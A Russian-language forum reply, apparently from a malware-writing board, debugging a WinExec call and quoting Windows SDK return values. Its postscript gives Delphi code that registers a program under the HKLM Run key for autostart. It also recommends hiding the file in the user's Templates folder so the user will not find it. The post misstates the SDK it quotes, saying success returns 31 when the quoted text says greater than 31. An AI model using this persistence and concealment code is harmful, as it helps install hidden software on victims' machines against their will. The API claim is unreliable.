ты не правильно наверное воспринимает результат выполнения WinExec
Читай Windows SDK
Return Values
If the function succeeds, the return value is greater than 31.
If the function fails, the return value is one of the following error values:
Value Meaning
0 The system is out of memory or resources.
ERROR_BAD_FORMAT The .EXE file is invalid (non-Win32 .EXE or error in .EXE image).
ERROR_FILE_NOT_FOUND The specified file was not found.
ERROR_PATH_NOT_FOUND The specified path was not found.
т.е. при нормальном выполнении функция вернет тебе значение 31
А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
ты для теста смени sw_hide на sw_show
У меня запросто разаботал твой кусок кода
P.S. инстал в систему лучше напиши через API чтоб размер был меньше. Типа
Код:
procedure install(filename,about:string);
var
key:longword;
begin
RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
RegSetValueEx(Key, pchar(about), 0,1, pchar(filename), length(filename));
RegCloseKey(Key);
end;
Хотя еще лучше кидай файл не в Windows а в папку с шаблонами пользователя. т.к. это папка находится хз где(юзверь хрен найдет) и для неё всегда есть доступ на запись, чего не скажешь о Windows или System32